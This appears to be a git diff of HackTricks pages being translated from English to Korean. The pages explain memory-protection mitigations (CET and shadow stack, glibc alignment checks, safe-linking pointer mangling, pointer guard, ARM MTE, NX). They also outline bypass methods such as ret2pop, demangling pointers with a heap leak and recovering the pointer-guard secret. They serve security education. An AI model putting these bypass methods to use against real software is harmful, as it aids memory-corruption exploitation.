수정하고 싶지 않은 **완벽한 포인터를 스택에서 찾을 수 있는 경우** (ret2ret에서는 최종 최하위 바이트를 `0x00`으로 변경합니다), 동일한 `ret2ret` 공격을 수행할 수 있지만, **RET 슬레드의 길이는 1만큼 줄여야 합니다** (그래서 최종 `0x00`이 완벽한 포인터 바로 앞의 데이터를 덮어씁니다), 그리고 **RET 슬레드의 마지막** 주소는 **`pop <reg>; ret`**를 가리켜야 합니다.\
이렇게 하면 **완벽한 포인터 앞의 데이터가** 스택에서 제거됩니다 (이 데이터는 `0x00`의 영향을 받습니다) 그리고 **최종 `ret`는 스택의 완벽한 주소를 가리킵니다**.
Following [**this link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c) you can see an example of a vulnerable binary and [**in this one** ](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c)the exploit.
[**이 링크**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c)를 따라가면 취약한 바이너리의 예를 볼 수 있고, [**이 링크**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c)에서는 익스플로잇을 볼 수 있습니다.
## References

View File

@ -4,22 +4,22 @@
## Control Flow Enforcement Technology (CET)
**CET** is a security feature implemented at the hardware level, designed to thwart common control-flow hijacking attacks such as **Return-Oriented Programming (ROP)** and **Jump-Oriented Programming (JOP)**. These types of attacks manipulate the execution flow of a program to execute malicious code or to chain together pieces of benign code in a way that performs a malicious action.
**CET****Return-Oriented Programming (ROP)** 및 **Jump-Oriented Programming (JOP)**과 같은 일반적인 제어 흐름 탈취 공격을 저지하기 위해 하드웨어 수준에서 구현된 보안 기능입니다. 이러한 유형의 공격은 프로그램의 실행 흐름을 조작하여 악성 코드를 실행하거나 무해한 코드 조각을 연결하여 악의적인 작업을 수행합니다.
CET introduces two main features: **Indirect Branch Tracking (IBT)** and **Shadow Stack**.
CET는 두 가지 주요 기능을 도입합니다: **간접 분기 추적 (IBT)****섀도우 스택**.
- **IBT** ensures that indirect jumps and calls are made to valid targets, which are marked explicitly as legal destinations for indirect branches. This is achieved through the use of a new instruction set that marks valid targets, thus preventing attackers from diverting the control flow to arbitrary locations.
- **Shadow Stack** is a mechanism that provides integrity for return addresses. It keeps a secured, hidden copy of return addresses separate from the regular call stack. When a function returns, the return address is validated against the shadow stack, preventing attackers from overwriting return addresses on the stack to hijack the control flow.
- **IBT**는 간접 점프 및 호출이 유효한 대상으로 이루어지도록 보장하며, 이는 간접 분기의 합법적인 목적지로 명시적으로 표시됩니다. 이는 유효한 대상을 표시하는 새로운 명령어 집합을 사용하여 달성되며, 공격자가 제어 흐름을 임의의 위치로 전환하는 것을 방지합니다.
- **섀도우 스택**은 반환 주소의 무결성을 제공하는 메커니즘입니다. 이는 일반 호출 스택과 분리된 안전하고 숨겨진 반환 주소의 복사본을 유지합니다. 함수가 반환될 때, 반환 주소는 섀도우 스택과 비교하여 검증되며, 공격자가 스택의 반환 주소를 덮어쓰는 것을 방지합니다.
## Shadow Stack
The **shadow stack** is a **dedicated stack used solely for storing return addresses**. It works alongside the regular stack but is protected and hidden from normal program execution, making it difficult for attackers to tamper with. The primary goal of the shadow stack is to ensure that any modifications to return addresses on the conventional stack are detected before they can be used, effectively mitigating ROP attacks.
**섀도우 스택**은 **반환 주소를 저장하기 위해 전용으로 사용되는 스택**입니다. 이는 일반 스택과 함께 작동하지만 정상적인 프로그램 실행으로부터 보호되고 숨겨져 있어 공격자가 조작하기 어렵습니다. 섀도우 스택의 주요 목표는 기존 스택의 반환 주소에 대한 수정 사항이 사용되기 전에 감지되도록 하여 ROP 공격을 효과적으로 완화하는 것입니다.
## How CET and Shadow Stack Prevent Attacks
**ROP and JOP attacks** rely on the ability to hijack the control flow of an application by leveraging vulnerabilities that allow them to overwrite pointers or return addresses on the stack. By directing the flow to sequences of existing code gadgets or return-oriented programming gadgets, attackers can execute arbitrary code.
**ROP 및 JOP 공격**은 스택에서 포인터나 반환 주소를 덮어쓸 수 있는 취약점을 활용하여 애플리케이션의 제어 흐름을 탈취할 수 있는 능력에 의존합니다. 공격자는 기존 코드 가젯이나 반환 지향 프로그래밍 가젯의 시퀀스로 흐름을 유도하여 임의의 코드를 실행할 수 있습니다.
- **CET's IBT** feature makes these attacks significantly harder by ensuring that indirect branches can only jump to addresses that have been explicitly marked as valid targets. This makes it impossible for attackers to execute arbitrary gadgets spread across the binary.
- The **shadow stack**, on the other hand, ensures that even if an attacker can overwrite a return address on the normal stack, the **discrepancy will be detected** when comparing the corrupted address with the secure copy stored in the shadow stack upon returning from a function. If the addresses don't match, the program can terminate or take other security measures, preventing the attack from succeeding.
- **CET의 IBT** 기능은 간접 분기가 명시적으로 유효한 대상으로 표시된 주소로만 점프할 수 있도록 보장함으로써 이러한 공격을 상당히 어렵게 만듭니다. 이는 공격자가 바이너리에 분산된 임의의 가젯을 실행할 수 없게 만듭니다.
- 반면에 **섀도우 스택**은 공격자가 일반 스택에서 반환 주소를 덮어쓸 수 있더라도, 함수에서 반환할 때 손상된 주소와 섀도우 스택에 저장된 안전한 복사본을 비교할 때 **불일치가 감지됩니다**. 주소가 일치하지 않으면 프로그램이 종료되거나 다른 보안 조치를 취하여 공격이 성공하지 못하도록 합니다.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,77 +4,77 @@
## Chunk Alignment Enforcement
**Malloc** allocates memory in **8-byte (32-bit) or 16-byte (64-bit) groupings**. This means the end of chunks in 32-bit systems should align with **0x8**, and in 64-bit systems with **0x0**. The security feature checks that each chunk **aligns correctly** at these specific locations before using a pointer from a bin.
**Malloc****8바이트(32비트) 또는 16바이트(64비트) 그룹**으로 메모리를 할당합니다. 이는 32비트 시스템에서 청크의 끝이 **0x8**에 정렬되어야 하고, 64비트 시스템에서는 **0x0**에 정렬되어야 함을 의미합니다. 보안 기능은 각 청크가 포인터를 사용하기 전에 이러한 특정 위치에서 **올바르게 정렬되었는지** 확인합니다.
### Security Benefits
The enforcement of chunk alignment in 64-bit systems significantly enhances Malloc's security by **limiting the placement of fake chunks to only 1 out of every 16 addresses**. This complicates exploitation efforts, especially in scenarios where the user has limited control over input values, making attacks more complex and harder to execute successfully.
64비트 시스템에서 청크 정렬의 강제 적용은 Malloc의 보안을 크게 향상시켜 **가짜 청크의 배치를 16개 주소 중 1개로 제한**합니다. 이는 사용자가 입력 값에 대한 제어가 제한된 시나리오에서 특히 공격을 복잡하게 만들어 성공적으로 실행하기 어렵게 만듭니다.
- **Fastbin Attack on \_\_malloc_hook**
The new alignment rules in Malloc also thwart a classic attack involving the `__malloc_hook`. Previously, attackers could manipulate chunk sizes to **overwrite this function pointer** and gain **code execution**. Now, the strict alignment requirement ensures that such manipulations are no longer viable, closing a common exploitation route and enhancing overall security.
Malloc의 새로운 정렬 규칙은 `__malloc_hook`과 관련된 고전적인 공격을 저지합니다. 이전에는 공격자가 청크 크기를 조작하여 **이 함수 포인터를 덮어쓰고 코드 실행을 얻을 수 있었습니다**. 이제 엄격한 정렬 요구 사항은 이러한 조작이 더 이상 유효하지 않도록 하여 일반적인 공격 경로를 차단하고 전반적인 보안을 강화합니다.
## Pointer Mangling on fastbins and tcache
**Pointer Mangling** is a security enhancement used to protect **fastbin and tcache Fd pointers** in memory management operations. This technique helps prevent certain types of memory exploit tactics, specifically those that do not require leaked memory information or that manipulate memory locations directly relative to known positions (relative **overwrites**).
**Pointer Mangling**은 메모리 관리 작업에서 **fastbin 및 tcache Fd 포인터**를 보호하기 위해 사용되는 보안 강화 기술입니다. 이 기술은 누출된 메모리 정보가 필요하지 않거나 알려진 위치에 상대적으로 메모리 위치를 직접 조작하는 특정 유형의 메모리 공격 전술을 방지하는 데 도움을 줍니다(상대적 **덮어쓰기**).
The core of this technique is an obfuscation formula:
이 기술의 핵심은 난독화 공식입니다:
**`New_Ptr = (L >> 12) XOR P`**
- **L** is the **Storage Location** of the pointer.
- **P** is the actual **fastbin/tcache Fd Pointer**.
- **L**은 포인터의 **저장 위치**입니다.
- **P**는 실제 **fastbin/tcache Fd 포인터**입니다.
The reason for the bitwise shift of the storage location (L) by 12 bits to the right before the XOR operation is critical. This manipulation addresses a vulnerability inherent in the deterministic nature of the least significant 12 bits of memory addresses, which are typically predictable due to system architecture constraints. By shifting the bits, the predictable portion is moved out of the equation, enhancing the randomness of the new, mangled pointer and thereby safeguarding against exploits that rely on the predictability of these bits.
저장 위치(L)를 오른쪽으로 12비트 비트 이동한 후 XOR 연산을 수행하는 이유는 중요합니다. 이 조작은 메모리 주소의 가장 낮은 12비트의 결정론적 특성에 내재된 취약점을 해결합니다. 이러한 비트는 일반적으로 시스템 아키텍처 제약으로 인해 예측 가능하기 때문입니다. 비트를 이동함으로써 예측 가능한 부분이 방정식에서 제거되어 새로운, 변형된 포인터의 무작위성이 향상되고, 이러한 비트의 예측 가능성에 의존하는 공격으로부터 보호됩니다.
This mangled pointer leverages the existing randomness provided by **Address Space Layout Randomization (ASLR)**, which randomizes addresses used by programs to make it difficult for attackers to predict the memory layout of a process.
이 변형된 포인터는 **주소 공간 배치 무작위화(ASLR)**에서 제공하는 기존의 무작위성을 활용하여 프로그램이 사용하는 주소를 무작위화하여 공격자가 프로세스의 메모리 레이아웃을 예측하기 어렵게 만듭니다.
**Demangling** the pointer to retrieve the original address involves using the same XOR operation. Here, the mangled pointer is treated as P in the formula, and when XORed with the unchanged storage location (L), it results in the original pointer being revealed. This symmetry in mangling and demangling ensures that the system can efficiently encode and decode pointers without significant overhead, while substantially increasing security against attacks that manipulate memory pointers.
**Demangling** 포인터는 원래 주소를 검색하기 위해 동일한 XOR 연산을 사용합니다. 여기서 변형된 포인터는 공식에서 P로 취급되며, 변경되지 않은 저장 위치(L)와 XOR 연산을 수행하면 원래 포인터가 드러납니다. 변형 및 복원 과정의 대칭성은 시스템이 상당한 오버헤드 없이 포인터를 효율적으로 인코딩하고 디코딩할 수 있도록 하며, 메모리 포인터를 조작하는 공격에 대한 보안을 크게 강화합니다.
### Security Benefits
Pointer mangling aims to **prevent partial and full pointer overwrites in heap** management, a significant enhancement in security. This feature impacts exploit techniques in several ways:
포인터 변형은 **힙 관리에서 부분 및 전체 포인터 덮어쓰기를 방지**하는 것을 목표로 하며, 이는 보안에서 중요한 향상입니다. 이 기능은 여러 방식으로 공격 기술에 영향을 미칩니다:
1. **Prevention of Bye Byte Relative Overwrites**: Previously, attackers could change part of a pointer to **redirect heap chunks to different locations without knowing exact addresses**, a technique evident in the leakless **House of Roman** exploit. With pointer mangling, such relative overwrites **without a heap leak now require brute forcing**, drastically reducing their likelihood of success.
2. **Increased Difficulty of Tcache Bin/Fastbin Attacks**: Common attacks that overwrite function pointers (like `__malloc_hook`) by manipulating fastbin or tcache entries are hindered. For example, an attack might involve leaking a LibC address, freeing a chunk into the tcache bin, and then overwriting the Fd pointer to redirect it to `__malloc_hook` for arbitrary code execution. With pointer mangling, these pointers must be correctly mangled, **necessitating a heap leak for accurate manipulation**, thereby elevating the exploitation barrier.
3. **Requirement for Heap Leaks in Non-Heap Locations**: Creating a fake chunk in non-heap areas (like the stack, .bss section, or PLT/GOT) now also **requires a heap leak** due to the need for pointer mangling. This extends the complexity of exploiting these areas, similar to the requirement for manipulating LibC addresses.
4. **Leaking Heap Addresses Becomes More Challenging**: Pointer mangling restricts the usefulness of Fd pointers in fastbin and tcache bins as sources for heap address leaks. However, pointers in unsorted, small, and large bins remain unmangled, thus still usable for leaking addresses. This shift pushes attackers to explore these bins for exploitable information, though some techniques may still allow for demangling pointers before a leak, albeit with constraints.
1. **바이트 상대 덮어쓰기 방지**: 이전에는 공격자가 포인터의 일부를 변경하여 **정확한 주소를 알지 못한 채 힙 청크를 다른 위치로 리디렉션**할 수 있었습니다. 이는 누출 없는 **House of Roman** 공격에서 분명히 나타나는 기술입니다. 포인터 변형을 통해 이러한 상대적 덮어쓰기는 **힙 누출 없이 이제는 무차별 대입이 필요**하여 성공 가능성이 크게 줄어듭니다.
2. **Tcache Bin/Fastbin 공격의 난이도 증가**: 함수 포인터를 덮어쓰는 일반적인 공격(예: `__malloc_hook`)은 fastbin 또는 tcache 항목을 조작하여 방해받습니다. 예를 들어, 공격은 LibC 주소를 누출하고 청크를 tcache bin에 해제한 다음 Fd 포인터를 덮어써서 `__malloc_hook`로 리디렉션하여 임의 코드 실행을 시도할 수 있습니다. 포인터 변형을 통해 이러한 포인터는 올바르게 변형되어야 하며, **정확한 조작을 위해 힙 누출이 필요**하므로 공격 장벽이 높아집니다.
3. **비힙 위치에서 힙 누출 필요**: 비힙 영역(예: 스택, .bss 섹션 또는 PLT/GOT)에서 가짜 청크를 생성하는 것도 이제 **포인터 변형의 필요성으로 인해 힙 누출이 필요**합니다. 이는 이러한 영역을 악용하는 복잡성을 확장하며, LibC 주소를 조작하는 요구와 유사합니다.
4. **힙 주소 누출이 더 어려워짐**: 포인터 변형은 fastbin 및 tcache bin에서 Fd 포인터의 유용성을 제한하여 힙 주소 누출의 출처로서의 역할을 감소시킵니다. 그러나 정렬되지 않은, 작은 및 큰 bin의 포인터는 여전히 변형되지 않으므로 주소 누출에 여전히 사용될 수 있습니다. 이러한 변화는 공격자가 악용 가능한 정보를 위해 이러한 bin을 탐색하도록 유도하지만, 일부 기술은 여전히 누출 전에 포인터를 복원할 수 있도록 허용할 수 있습니다.
### **Demangling Pointers with a Heap Leak**
> [!CAUTION]
> For a better explanation of the process [**check the original post from here**](https://maxwelldulin.com/BlogPost?post=5445977088).
> 프로세스에 대한 더 나은 설명은 [**여기에서 원본 게시물을 확인하세요**](https://maxwelldulin.com/BlogPost?post=5445977088).
### Algorithm Overview
The formula used for mangling and demangling pointers is:&#x20;
포인터를 변형하고 복원하는 데 사용되는 공식은:&#x20;
**`New_Ptr = (L >> 12) XOR P`**
Where **L** is the storage location and **P** is the Fd pointer. When **L** is shifted right by 12 bits, it exposes the most significant bits of **P**, due to the nature of **XOR**, which outputs 0 when bits are XORed with themselves.
여기서 **L**은 저장 위치이고 **P**는 Fd 포인터입니다. **L**이 12비트 오른쪽으로 이동하면 **P**의 가장 중요한 비트가 노출됩니다. 이는 **XOR**의 특성으로, 비트가 자신과 XOR될 때 0을 출력합니다.
**Key Steps in the Algorithm:**
1. **Initial Leak of the Most Significant Bits**: By XORing the shifted **L** with **P**, you effectively get the top 12 bits of **P** because the shifted portion of **L** will be zero, leaving **P's** corresponding bits unchanged.
2. **Recovery of Pointer Bits**: Since XOR is reversible, knowing the result and one of the operands allows you to compute the other operand. This property is used to deduce the entire set of bits for **P** by successively XORing known sets of bits with parts of the mangled pointer.
3. **Iterative Demangling**: The process is repeated, each time using the newly discovered bits of **P** from the previous step to decode the next segment of the mangled pointer, until all bits are recovered.
4. **Handling Deterministic Bits**: The final 12 bits of **L** are lost due to the shift, but they are deterministic and can be reconstructed post-process.
1. **가장 중요한 비트의 초기 누출**: 이동된 **L**과 **P**를 XOR하여 **P**의 상위 12비트를 효과적으로 얻습니다. 이동된 **L**의 부분은 0이 되어 **P**의 해당 비트는 변경되지 않습니다.
2. **포인터 비트 복구**: XOR는 가역적이므로 결과와 피연산자 중 하나를 알면 다른 피연산자를 계산할 수 있습니다. 이 속성을 사용하여 변형된 포인터의 부분과 알려진 비트 집합을 순차적으로 XOR하여 **P**의 전체 비트 집합을 유도합니다.
3. **반복적 복원**: 이 과정은 반복되며, 매번 이전 단계에서 발견된 **P**의 새 비트를 사용하여 변형된 포인터의 다음 세그먼트를 디코딩합니다. 모든 비트가 복구될 때까지 진행됩니다.
4. **결정론적 비트 처리**: **L**의 마지막 12비트는 이동으로 인해 손실되지만, 이들은 결정론적이므로 후처리 후 재구성할 수 있습니다.
You can find an implementation of this algorithm here: [https://github.com/mdulin2/mangle](https://github.com/mdulin2/mangle)
이 알고리즘의 구현을 여기에서 찾을 수 있습니다: [https://github.com/mdulin2/mangle](https://github.com/mdulin2/mangle)
## Pointer Guard
Pointer guard is an exploit mitigation technique used in glibc to protect stored function pointers, particularly those registered by library calls such as `atexit()`. This protection involves scrambling the pointers by XORing them with a secret stored in the thread data (`fs:0x30`) and applying a bitwise rotation. This mechanism aims to prevent attackers from hijacking control flow by overwriting function pointers.
포인터 가드는 glibc에서 저장된 함수 포인터를 보호하기 위해 사용되는 공격 완화 기술로, 특히 `atexit()`와 같은 라이브러리 호출에 의해 등록된 포인터를 보호합니다. 이 보호는 포인터를 스크램블하여 스레드 데이터(`fs:0x30`)에 저장된 비밀과 XOR한 다음 비트 회전을 적용하는 방식으로 이루어집니다. 이 메커니즘은 공격자가 함수 포인터를 덮어써서 제어 흐름을 탈취하는 것을 방지하는 것을 목표로 합니다.
### **Bypassing Pointer Guard with a leak**
1. **Understanding Pointer Guard Operations:** The scrambling (mangling) of pointers is done using the `PTR_MANGLE` macro which XORs the pointer with a 64-bit secret and then performs a left rotation of 0x11 bits. The reverse operation for recovering the original pointer is handled by `PTR_DEMANGLE`.
2. **Attack Strategy:** The attack is based on a known-plaintext approach, where the attacker needs to know both the original and the mangled versions of a pointer to deduce the secret used for mangling.
3. **Exploiting Known Plaintexts:**
- **Identifying Fixed Function Pointers:** By examining glibc source code or initialized function pointer tables (like `__libc_pthread_functions`), an attacker can find predictable function pointers.
- **Computing the Secret:** Using a known function pointer such as `__pthread_attr_destroy` and its mangled version from the function pointer table, the secret can be calculated by reverse rotating (right rotation) the mangled pointer and then XORing it with the address of the function.
4. **Alternative Plaintexts:** The attacker can also experiment with mangling pointers with known values like 0 or -1 to see if these produce identifiable patterns in memory, potentially revealing the secret when these patterns are found in memory dumps.
5. **Practical Application:** After computing the secret, an attacker can manipulate pointers in a controlled manner, essentially bypassing the Pointer Guard protection in a multithreaded application with knowledge of the libc base address and an ability to read arbitrary memory locations.
1. **포인터 가드 작업 이해**: 포인터의 스크램블(변형)은 64비트 비밀과 XOR한 다음 0x11 비트 왼쪽으로 회전하는 `PTR_MANGLE` 매크로를 사용하여 수행됩니다. 원래 포인터를 복구하기 위한 역작업은 `PTR_DEMANGLE`에 의해 처리됩니다.
2. **공격 전략**: 이 공격은 알려진 평문 접근 방식에 기반하며, 공격자는 변형된 포인터와 원래 포인터를 모두 알아야 스크램블에 사용된 비밀을 유추할 수 있습니다.
3. **알려진 평문 악용**:
- **고정 함수 포인터 식별**: glibc 소스 코드나 초기화된 함수 포인터 테이블(예: `__libc_pthread_functions`)을 검사하여 공격자는 예측 가능한 함수 포인터를 찾을 수 있습니다.
- **비밀 계산**: `__pthread_attr_destroy`와 같은 알려진 함수 포인터와 함수 포인터 테이블에서의 변형된 버전을 사용하여, 변형된 포인터를 역회전(오른쪽 회전)한 다음 함수의 주소와 XOR하여 비밀을 계산할 수 있습니다.
4. **대체 평문**: 공격자는 0 또는 -1과 같은 알려진 값으로 포인터를 변형하여 메모리에서 식별 가능한 패턴을 생성하는지 실험할 수 있으며, 이러한 패턴이 메모리 덤프에서 발견될 때 비밀을 드러낼 수 있습니다.
5. **실용적 응용**: 비밀을 계산한 후 공격자는 제어된 방식으로 포인터를 조작하여, libc 기본 주소에 대한 지식과 임의 메모리 위치를 읽을 수 있는 능력을 통해 포인터 가드 보호를 우회할 수 있습니다.
## References

View File

@ -1,83 +1,81 @@
# Memory Tagging Extension (MTE)
# 메모리 태깅 확장 (MTE)
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## 기본 정보
**Memory Tagging Extension (MTE)** is designed to enhance software reliability and security by **detecting and preventing memory-related errors**, such as buffer overflows and use-after-free vulnerabilities. MTE, as part of the **ARM** architecture, provides a mechanism to attach a **small tag to each memory allocation** and a **corresponding tag to each pointer** referencing that memory. This approach allows for the detection of illegal memory accesses at runtime, significantly reducing the risk of exploiting such vulnerabilities for executing arbitrary code.
**메모리 태깅 확장 (MTE)**는 **버퍼 오버플로우 및 사용 후 해제 취약점**과 같은 메모리 관련 오류를 **감지하고 방지**하여 소프트웨어의 신뢰성과 보안을 향상시키기 위해 설계되었습니다. MTE는 **ARM** 아키텍처의 일부로, **각 메모리 할당에 작은 태그를 부착하고** 해당 메모리를 참조하는 **각 포인터에 해당 태그를 부여하는** 메커니즘을 제공합니다. 이 접근 방식은 런타임에서 불법 메모리 접근을 감지할 수 있게 하여, 임의 코드를 실행하기 위한 이러한 취약점의 악용 위험을 크게 줄입니다.
### **How Memory Tagging Extension Works**
### **메모리 태깅 확장이 작동하는 방식**
MTE operates by **dividing memory into small, fixed-size blocks, with each block assigned a tag,** typically a few bits in size.&#x20;
MTE**메모리를 작고 고정 크기의 블록으로 나누고, 각 블록에 태그를 할당하여** 작동합니다.&#x20;
When a pointer is created to point to that memory, it gets the same tag. This tag is stored in the **unused bits of a memory pointer**, effectively linking the pointer to its corresponding memory block.
포인터가 해당 메모리를 가리키도록 생성되면, 동일한 태그를 부여받습니다. 이 태그는 **메모리 포인터의 사용되지 않는 비트에 저장되어**, 포인터를 해당 메모리 블록에 연결합니다.
<figure><img src="../../images/image (1202).png" alt=""><figcaption><p><a href="https://www.youtube.com/watch?v=UwMt0e_dC_Q">https://www.youtube.com/watch?v=UwMt0e_dC_Q</a></p></figcaption></figure>
When a program accesses memory through a pointer, the MTE hardware checks that the **pointer's tag matches the memory block's tag**. If the tags **do not match**, it indicates an **illegal memory access.**
프로그램이 포인터를 통해 메모리에 접근할 때, MTE 하드웨어는 **포인터의 태그가 메모리 블록의 태그와 일치하는지 확인**합니다. 태그가 **일치하지 않으면**, 이는 **불법 메모리 접근**을 나타냅니다.
### MTE Pointer Tags
### MTE 포인터 태그
Tags inside a pointer are stored in 4 bits inside the top byte:
포인터 내부의 태그는 상위 바이트의 4비트에 저장됩니다:
<figure><img src="../../images/image (1203).png" alt=""><figcaption><p><a href="https://www.youtube.com/watch?v=UwMt0e_dC_Q">https://www.youtube.com/watch?v=UwMt0e_dC_Q</a></p></figcaption></figure>
Therefore, this allows up to **16 different tag values**.
따라서, 최대 **16개의 서로 다른 태그 값**을 허용합니다.
### MTE Memory Tags
### MTE 메모리 태그
Every **16B of physical memory** have a corresponding **memory tag**.
모든 **16B의 물리적 메모리**는 해당하는 **메모리 태그**를 가집니다.
The memory tags are stored in a **dedicated RAM region** (not accessible for normal usage). Having 4bits tags for every 16B memory tags up to 3% of RAM.
ARM introduces the following instructions to manipulate these tags in the dedicated RAM memory:
메모리 태그는 **전용 RAM 영역**에 저장됩니다 (일반 사용을 위해 접근할 수 없음). 16B 메모리 태그마다 4비트 태그를 가지며, 최대 3%의 RAM을 차지합니다.
ARM은 전용 RAM 메모리에서 이러한 태그를 조작하기 위해 다음 명령어를 도입합니다:
```
STG [<Xn/SP>], #<simm> Store Allocation (memory) Tag
LDG <Xt>, [<Xn/SP>] Load Allocatoin (memory) Tag
IRG <Xd/SP>, <Xn/SP> Insert Random [pointer] Tag
...
```
## 모드 확인
## Checking Modes
### 동기
### Sync
CPU는 **명령어 실행 중** 태그를 확인하며, 불일치가 발견되면 예외를 발생시킵니다.\
가장 느리지만 가장 안전합니다.
The CPU check the tags **during the instruction executing**, if there is a mismatch, it raises an exception.\
This is the slowest and most secure.
### 비동기
### Async
CPU는 **비동기적으로** 태그를 확인하며, 불일치가 발견되면 시스템 레지스터 중 하나에 예외 비트를 설정합니다. 이전 방법보다 **빠르지만** 불일치를 일으킨 정확한 명령어를 **지적할 수 없으며**, 즉시 예외를 발생시키지 않아 공격자가 공격을 완료할 시간을 제공합니다.
The CPU check the tags **asynchronously**, and when a mismatch is found it sets an exception bit in one of the system registers. It's **faster** than the previous one but it's **unable to point out** the exact instruction that cause the mismatch and it doesn't raise the exception immediately, giving some time to the attacker to complete his attack.
### Mixed
### 혼합
???
## Implementation & Detection Examples
## 구현 및 탐지 예시
Called Hardware Tag-Based KASAN, MTE-based KASAN or in-kernel MTE.\
The kernel allocators (like `kmalloc`) will **call this module** which will prepare the tag to use (randomly) attach it to the kernel space allocated and to the returned pointer.
하드웨어 태그 기반 KASAN, MTE 기반 KASAN 또는 커널 내 MTE라고 불립니다.\
커널 할당자(예: `kmalloc`)는 **이 모듈을 호출**하여 사용할 태그를 준비하고(무작위로) 커널 공간에 할당된 메모리와 반환된 포인터에 연결합니다.
Note that it'll **only mark enough memory granules** (16B each) for the requested size. So if the requested size was 35 and a slab of 60B was given, it'll mark the first 16\*3 = 48B with this tag and the **rest** will be **marked** with a so-called **invalid tag (0xE)**.
요청된 크기에 대해 **충분한 메모리 그라뉼**(각 16B)만 **표시**합니다. 따라서 요청된 크기가 35이고 60B의 슬랩이 제공되면, 이 태그로 첫 16\*3 = 48B를 표시하고 **나머지**는 **유효하지 않은 태그(0xE)**로 **표시**됩니다.
The tag **0xF** is the **match all pointer**. A memory with this pointer allows **any tag to be used** to access its memory (no mismatches). This could prevent MET from detecting an attack if this tags is being used in the attacked memory.
태그 **0xF**는 **모든 포인터와 일치**합니다. 이 포인터가 있는 메모리는 **어떤 태그도 사용**하여 메모리에 접근할 수 있습니다(불일치 없음). 이로 인해 공격된 메모리에서 이 태그가 사용되고 있다면 MET가 공격을 탐지하지 못할 수 있습니다.
Therefore there are only **14 value**s that can be used to generate tags as 0xE and 0xF are reserved, giving a probability of **reusing tags** to 1/17 -> around **7%**.
따라서 **0xE와 0xF**가 예약되어 있기 때문에 태그를 생성하는 데 사용할 수 있는 값은 **14개**뿐이며, 태그를 **재사용할 확률**은 1/17 -> 약 **7%**입니다.
If the kernel access to the **invalid tag granule**, the **mismatch** will be **detected**. If it access another memory location, if the **memory has a different tag** (or the invalid tag) the mismatch will be **detected.** If the attacker is lucky and the memory is using the same tag, it won't be detected. Chances are around 7%
커널이 **유효하지 않은 태그 그라뉼**에 접근하면 **불일치**가 **탐지**됩니다. 다른 메모리 위치에 접근할 경우, **메모리에 다른 태그**(또는 유효하지 않은 태그)가 있으면 불일치가 **탐지**됩니다. 공격자가 운이 좋고 메모리가 같은 태그를 사용하고 있다면 탐지되지 않습니다. 확률은 약 7%입니다.
Another bug occurs in the **last granule** of the allocated memory. If the application requested 35B, it was given the granule from 32 to 48. Therefore, the **bytes from 36 til 47 are using the same tag** but they weren't requested. If the attacker access **these extra bytes, this isn't detected**.
또 다른 버그는 할당된 메모리의 **마지막 그라뉼**에서 발생합니다. 애플리케이션이 35B를 요청하면 32에서 48까지의 그라뉼이 제공됩니다. 따라서 **36에서 47까지의 바이트가 같은 태그를 사용**하지만 요청되지 않았습니다. 공격자가 **이 추가 바이트에 접근하면 탐지되지 않습니다**.
When **`kfree()`** is executed, the memory is retagged with the invalid memory tag, so in a **use-after-free**, when the memory is accessed again, the **mismatch is detected**.
**`kfree()`**가 실행되면 메모리는 유효하지 않은 메모리 태그로 다시 태그가 지정되므로, **use-after-free**에서 메모리에 다시 접근할 때 **불일치가 탐지**됩니다.
However, in a use-after-free, if the same **chunk is reallocated again with the SAME tag** as previously, an attacker will be able to use this access and this won't be detected (around 7% chance).
그러나 use-after-free에서 동일한 **청크가 이전과 동일한 태그**로 다시 할당되면, 공격자는 이 접근을 사용할 수 있으며 이는 탐지되지 않습니다(약 7% 확률).
Moreover, only **`slab` and `page_alloc`** uses tagged memory but in the future this will also be used in `vmalloc`, `stack` and `globals` (at the moment of the video these can still be abused).
게다가 **`slab``page_alloc`**만 태그가 지정된 메모리를 사용하지만, 앞으로는 `vmalloc`, `stack``globals`에서도 사용될 것입니다(비디오 당시에는 여전히 악용될 수 있습니다).
When a **mismatch is detected** the kernel will **panic** to prevent further exploitation and retries of the exploit (MTE doesn't have false positives).
**불일치가 탐지되면** 커널은 추가적인 악용과 공격 재시도를 방지하기 위해 **패닉** 상태에 빠집니다(MTE는 잘못된 긍정이 없습니다).
## References
## 참고 문헌
- [https://www.youtube.com/watch?v=UwMt0e_dC_Q](https://www.youtube.com/watch?v=UwMt0e_dC_Q)

View File

@ -2,15 +2,15 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## 기본 정보
The **No-Execute (NX)** bit, also known as **Execute Disable (XD)** in Intel terminology, is a hardware-based security feature designed to **mitigate** the effects of **buffer overflow** attacks. When implemented and enabled, it distinguishes between memory regions that are intended for **executable code** and those meant for **data**, such as the **stack** and **heap**. The core idea is to prevent an attacker from executing malicious code through buffer overflow vulnerabilities by putting the malicious code in the stack for example and directing the execution flow to it.
**No-Execute (NX)** 비트는 Intel 용어로 **Execute Disable (XD)**로도 알려져 있으며, **버퍼 오버플로우** 공격의 영향을 **완화**하기 위해 설계된 하드웨어 기반 보안 기능입니다. 구현되고 활성화되면, **실행 가능한 코드**를 위한 메모리 영역과 **데이터**를 위한 영역(예: **스택****힙**)을 구분합니다. 핵심 아이디어는 공격자가 버퍼 오버플로우 취약점을 통해 악성 코드를 실행하는 것을 방지하는 것으로, 예를 들어 악성 코드를 스택에 넣고 실행 흐름을 그쪽으로 유도하는 것입니다.
## Bypasses
## 우회 방법
- It's possible to use techniques such as [**ROP**](../rop-return-oriented-programing/) **to bypass** this protection by executing chunks of executable code already present in the binary.
- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/)
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/)
- **Ret2...**
- [**ROP**](../rop-return-oriented-programing/)와 같은 기술을 사용하여 이 보호 기능을 **우회**할 수 있으며, 이는 바이너리에 이미 존재하는 실행 가능한 코드 조각을 실행하는 것입니다.
- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/)
